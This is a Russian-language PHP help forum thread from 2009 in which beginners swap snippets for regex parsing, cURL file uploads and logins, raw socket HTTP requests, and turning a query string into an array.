</body>
</html>
передает hash.php который должен приобразить етот текст в:
6QjhhTu9Hdqio
/vk32P04c07oE
<?php
$text = $_GET['name'];
preg_match('#:(.*)#', $text, $out);
echo $out[1];
?>
ка мне зделать что бы отображалось норм?
zifanchuck
04.03.2009, 16:27
.:EnoT:. спс но оно мне выдает Array ( [0] => 6QjhhTu9Hdqio [1] => /vk32P04c07oE ) а мне надо
6QjhhTu9Hdqio
/vk32P04c07oE (((
-=Static=-
04.03.2009, 16:33
.:EnoT:. спс но оно мне выдает Array ( [0] => 6QjhhTu9Hdqio [1] => /vk32P04c07oE ) а мне надо
6QjhhTu9Hdqio
/vk32P04c07oE (((
<?php
$text = $_GET['name'];
preg_match_all('#:(.*)#', $text, $out);
echo implode("<br />\n",$out[1]);
zifanchuck
04.03.2009, 16:38
-=Static=- спс огромное))
Эта...Чейгойто в Вертриго 2.21 нету директивы allow_url_include ? А phpinfo() отображает её...
Пришлось вручную дописать.Директивы там,кстати,не все,как на чистых апачах.
mailbrush
04.03.2009, 17:41
zifanchuck, либо так... Гетом передаешь file.php?name=hash2:123,hash3:456,hash4:789
<?php
$c=explode(",",$_GET['name']);
for($i=0;$i<=count($c);$i++) {
list($name, $hash)=explode(":", $c[$i]);
echo $hash."<br>"; }
?>
Как мне выводить в статус В Контакте, реальное время?
вообще я тя не очень понял, на контактах в жизни не был, ноесли там можно картинку вставлять то картинкой, вот даже накалякал <?php
$image_width = 100;
$image_height = 30;
$data = date('H:i:s');
$image = imagecreate($image_width, $image_height);
$fon = imagecolorallocate($image, rand(0, 30), rand(0, 30), rand(0, 30));
$rndc = imagecolorallocate($image, rand(100, 255), rand(100, 255), rand(100, 255));
$font = rand(5, 6);
$c_x = rand(4, 9);
$c_y = rand(0, 2);
imagestring($image, $font, $c_x, $c_y, $data, $rndc);
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
Header("Content-type: image/png");
ImagePng($image);
?>
Всё время спросить хотел
Чо за $i++ ?)
Чо то не стал гуглить)
Ctacok, если ты хочешь узнать чтозначит $i++ как я понял, то это значит что значение переьенной данной ты увеличиваешь на 1
Всё время спросить хотел
Чо за $i++ ?)
Чо то не стал гуглить)
постинкремент, т.е. сначала возвращаем значение переменной, а потом к переменной прибавляем единицу.
Всё время спросить хотел
Чо за $i++ ?)
Чо то не стал гуглить)
блин люди я конешно понимаю новичек и все такое... но это основы, это есть в первых главах каждогго учебника по php....
Zitt, +1, перед тем как програмить нада хотя бы книжку прочитать "php за 24 часа" =)))
Buffalon
05.03.2009, 15:35
После прочтения такой книжки, не программить, а говнокодить)
ХЗ , если ты програмил на С+ , то думаю проблем не возникнет , часов 10 думаю от силы - а дельше ОПЫТ
После прочтения такой книжки, не программить, а говнокодить)
ну хотя бы не будет вопросов что такое $i++
ХЗ , если ты програмил на С+ , то думаю проблем не возникнет , часов 10 думаю от силы - а дельше ОПЫТ
кто програмил на С+ не задают таких вопросов
Хм, а скрипт загрузки аватаров в контакт на php есть в паблике?
Хм, а скрипт загрузки аватаров в контакт на php есть в паблике?
я видел онли скомпилированный код на делфи...
а если на php и есть, то уж точно не паблик!
wildshaman
05.03.2009, 18:12
я видел онли скомпилированный код на делфи...
а если на php и есть, то уж точно не паблик!
Почему это точно не паблик? Это не такой сложный скрипт.
Авторизовываемся, заходим на страничку загрузки авы и передаем ей нашу картинку. Все...
Можно совет, каким образом передавать картинку? До этого пока еще не додумался >_<
если кому то то путь передаем до картинки. если себе то копируем просто. в чем проблема то?
я имею ввиду загрузка картинки (аватары) вконтакт php скриптом :D
там для этого стандартная кнопка "обзор" если мне память не изменяет там передаеться просто путь до картинки, что на диске.
я понимаю, но каким образом можно организовать мультисессионную передачу? Обычным Post'ом контакт не принимает файл :(
я понимаю, но каким образом можно организовать мультисессионную передачу? Обычным Post'ом контакт не принимает файл :(
что значит обычным post'ом? там multipart/form-data. используй сниффер.
Shadow_p1raT
06.03.2009, 07:11
ппц....
<?php
$url = 'http://localhost/test/1.php';// Путь до скрипта который принимает файл
$file = 'C:\wamp\www\test\ie.css'; // Путь до нашего файла
$data = array('file' => '@' . $file); // Заголовки при отправке(снифаем снифером) и не забываем ставить @
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
curl_setopt($ch, CURLOPT_HEADER, true);
$res = curl_exec($ch);
curl_close($ch);
echo $res;
?>
Buffalon
06.03.2009, 13:44
9287
ТЫ не забудь сказать что тут присутствует curl , его нужно устанавливать отдельно -> очень хорошая штука :))
Вопрос по курлу: Как получить информацию после авторизации ? Возвращается только ответ от серва,приведённый ниже:
200 OK Server: nginx/0.6.34 Date: Fri, 06 Mar 2009 09:42:08 GMT Content-Type: text/html; charset=Windows-1251 Connection: keep-alive Last-Modified: Sat, 03 Jan 2009 07:46:12 GMT ETag: "2f75fd-6f8-45f8f40627900" Accept-Ranges: bytes Content-Length: 1784
ЗЫ: Ещё непонятно,авторизовался ли я вообще - поменял пароль в пост запросе,и опять вернуло 200. )Вот мой мега код:
$url = "http://www.site.ru/login.php";
$req = "login%3dWelemir%26pass%3dqwertyui";
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_TIMEOUT,60);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
Продолжение эпопеи:
<?php
$ua = "fuck you";
$url = "http://www.adultconvert.ru/login.php";
$req = "login=gaga&pass=gaga&go=%C2%EE%E9%F2%E8";
$ref = 'http://adultconvert.ru/';
$ar = "Connection : Keep-Alive";
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT, $ua);
curl_setopt($ch,CURLOPT_REFERER, $ref);
curl_setopt($ch,CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch,CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$result = curl_exec($ch);
curl_close($ch);
$ch = curl_init("http://www.adultconvert.ru/akk/links.php");
curl_setopt($ch,CURL_REFERER,"http://www.adultconvert.ru/akk/news.php");
curl_setopt($ch,CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch,CURLOPT_COOKIEFILE, './cook');
$result = curl_exec($ch);
if(preg_match('|<a href="(.*)".*</a>|',$result,$x)) {
print_r($x);
}
?>
Выводит всю страницу.Получается,что шаблон не работает?
Теперь другой скрипт:
<?php
$str = '<a href="script.php" </a>';
if(preg_match('|<a href="(.*)".*</a>|',$str,$x)) {
print_r($x);
}
?>
Но тут работает :(
не факт шо во 2 крипте усе работает!у тя $str то состоит полностью из того шо тебе нады найти! от оно тебе всю $str и выводит
Готово
<?php
$login = '';
$pass = '';
################################################## ############
################################################## ############
$ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Firefox/3.0.0.3';
$url = 'http://www.adultconvert.ru/login.php';
$req = "login=$login&pass=$pass&go=%C2%EE%E9%F2%E8";
$ref = 'http://adultconvert.ru/';
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT, $ua);
curl_setopt($ch,CURLOPT_REFERER, $ref);
curl_setopt($ch,CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch,CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$result = curl_exec($ch);
curl_close($ch);
################################################## ############
sleep(1);
################################################## ############
$ch = curl_init('http://www.adultconvert.ru/akk/links.php');
curl_setopt($ch,CURLOPT_REFERER,'http://www.adultconvert.ru/akk/news.php');
curl_setopt($ch,CURLOPT_COOKIEJAR, './cook');
curl_setopt($ch,CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_USERAGENT, $ua);
$result = curl_exec($ch);
curl_close($ch);
preg_match_all('#value=\"(.*?)\"#',$result,$matches);
################################################## ############
foreach ($matches[1] as $link) {
echo $link.'<br>';
}
?>
всякие маленькие сайты читаются через сокеты при таком коде:
<form method='POST'>
server:<input type='text' name='server' size=50><br>
<input type='submit' value='hAck)'>
</form>
<?php
$server=$_POST['server'];
$s=fsockopen($server,80,$err,$err_msg);
if(!$s)echo "($err) - $err_msg";
else
{
echo "<font color='green'>me connected to <b>$server</b>... tring to HaCk the systen my Lord)</font><br>";
$str=""; //string whitch gets all text before length you need
fputs($s,"GET / HTTP/1.1 \nHost: $server\nUser-Agent: Opera mini\nAccept: text/html\nAccept-Language: ru,en-us\nAccept-Charset: windows-1251\n\n");
while(!feof($s)) //strpos($str,"Content-Length")===false
{
$str.=fgets($s,1000);
}
echo nl2br(htmlspecialchars($str));
}
?>
а вот сайты покрупнее уже нет! Например,ниодин поисковик не выдают свою страницу по этому хттп-запросу. рамблер,например, выдает какую-то страничку 302 found.
Я так понимаю, что они как-то обрабатывают мой запрос и в нем не хватает какого-то ключевого параметра, но я не всосу какого :( все что знал, понавпихивал в запрос.
Короче, помогите составить запрос, чтобы все сайты читались этим скриптом
je0n, скрипт правильно работает, например запрос rambler.ru возвращает редирект на www.rambler.ru, как и должно быть
Location: http://www.rambler.ru/
советую почитать спецификацию протокола HTTP
чтобы небыло долгого ожидания ответа сервера добавь вконце заголовок
Connection: close
Блин! я заморочился с сокетами, тока ради того чтобы получать длинну страницы из заголовка страницы Content-length, а всю остальную страницу уже вообще не читать! А оказалось, что этот заголовок возвращается на редком сервере!Корочь, я обломался. Нельзя ли как-нить особенно обратится к серверу, чтобы он полубому вернул заголовок Content-length?
Блин! я заморочился с сокетами, тока ради того чтобы получать длинну страницы из заголовка страницы Content-length, а всю остальную страницу уже вообще не читать! А оказалось, что этот заголовок возвращается на редком сервере!Корочь, я обломался. Нельзя ли как-нить особенно обратится к серверу, чтобы он полубому вернул заголовок Content-length?
ИМХО лучше на курл перейди
ИМХО лучше на курл перейди
в курле есть возможность получить content-length любой страницы, не получая хтмл-код?
Меня сейчас это волнует, через сокеты этот параметр чето нифига не появляется, по крайней мере тем путем, каким делаю я :( хнык
ИМХО лучше на курл перейди смысл? =) сокеты меньше кода :D
2je0n
попробуй так:
fputs($s,"GET / HTTP/1.1\nAccept: text/html\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 \n\n");
Блин! я заморочился с сокетами, тока ради того чтобы получать длинну страницы из заголовка страницы Content-length, а всю остальную страницу уже вообще не читать! А оказалось, что этот заголовок возвращается на редком сервере!Корочь, я обломался. Нельзя ли как-нить особенно обратится к серверу, чтобы он полубому вернул заголовок Content-length?
когда формируешь http-пакет, вместо GET пиши HEAD, тогда сервер вернет только заголовки, а оттуда уже распаришь content-length.
У меня есть форма (<form>) в которой два поля, мне нужно чтобы человек вводил только в одной из них (на выбор, либо в перовй либо во второй)
if (($_POST['1']) and ($_POST['2']))
{
echo ("Ошибка");
Вобщем всё работает .... но может есть более изящный чтоли метод решения этой задачи ? :)
Что может быть изящнее? Разве что на яве еще прикрепить, чтобы когда в одно поле что нить вводил другое очищалось)
Zedi спасибо ... просто думал может оператор есть какой то для этих целей )))
смысл? =) сокеты меньше кода :D
Если тебе лень печатать,то пожалуйста
.
Zedi спасибо ... просто думал может оператор есть какой то для этих целей )))
или? ||,&& - вот так попробуй,любой.
или? ||,&& - вот так попробуй,любой.
Любой?
|| - или
&&- и
насколько я помню
Вот ему нужно И, то есть &&, а не любой, и смысл этого? На 1 символ меньше?
Товарищ,напомните срочно,помню такое есть,но вот память отказывает.
В общем.
Есть Query_string = filimon=15&gangubas=55
Так вот,та функция\переменная,выдавал а эти данные в формате массива.Тоесть,название поля => значение,и т.д.
Переводить в массив в ручную лень,так что ищеться так функция.Точно говоря вам было такое... :)
С помощью explode и foreach можно сделать, а функцию такую не знаю
С помощью explode и foreach можно сделать, а функцию такую не знаю
ее знать не надо,ее создать нужно ;)
найн-найн!
Есть встроеная вариация.Блея помню.
Написать то не проблема,хочеться ту вспомнить...
Ехладно отчаядся я насти ее уже :(
Написал свою :(
mailbrush
07.03.2009, 19:16
Вот что надумал я =)
function marray($string) {
$all=explode("&",$string);
$first=explode("=",$all[0]);
$second=explode("=",$all[1]);
print_r($first);
print_r($second); }
Ну а вот мой вариант.
function get_str($str)
{
$val = explode('&', $str);
for ($i = 0; $i < count($val); $i++) {
list($ov[$i],$zn[$i])= explode('=',$val[$i]);
}
$res = array_combine($ov,$zn);
return($res);
}
$str = 'hash=234234&cuka=212121&lox=Hud';
print_r(get_str($str));
mailbrush
07.03.2009, 19:45
Эм... не знал о функции array_combine. Спс!
Эм... не знал о функции array_combine. Спс!
10 минут назад я тоже не знал,но я буду еще долго говорить Еноту спасибо за то что он грубо послал меня на php.net, месяца 3 назад :)
astrologer
07.03.2009, 20:11
Товарищ,напомните срочно,помню такое есть,но вот память отказывает.
В общем.
Есть Query_string = filimon=15&gangubas=55
Так вот,та функция\переменная,выдавал а эти данные в формате массива.Тоесть,название поля => значение,и т.д.
Переводить в массив в ручную лень,так что ищеться так функция.Точно говоря вам было такое... :) parse_str (http://php.net/parse_str)();
а я сидел и вспоминал :(
parse_url только в голове и крутилось...
скажите пожалуйста, как можно создать текстовое поле (textarea) и кнопку, при нажатии на которую содержимое заисывалось в текстовый файл? заранее спасибо
и еще вопрос: имеется код
$fp = fsockopen($hostname, 80, $errno, $errstr, 300);
...
fwrite($fp, $headers.$data);
echo $fp;
но вместо ответа сервера он выводит:
Resource id#2
Почему?
$fp = fsockopen($hostname, 80, $errno, $errstr, 300);
...
fwrite($fp, $headers.$data);
echo $fp;
но вместо ответа сервера он выводит:
Resource id#2
Почему?
потому что $fp - resource handle.
http://forum.alfaspace.net/6_5754_0.html
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot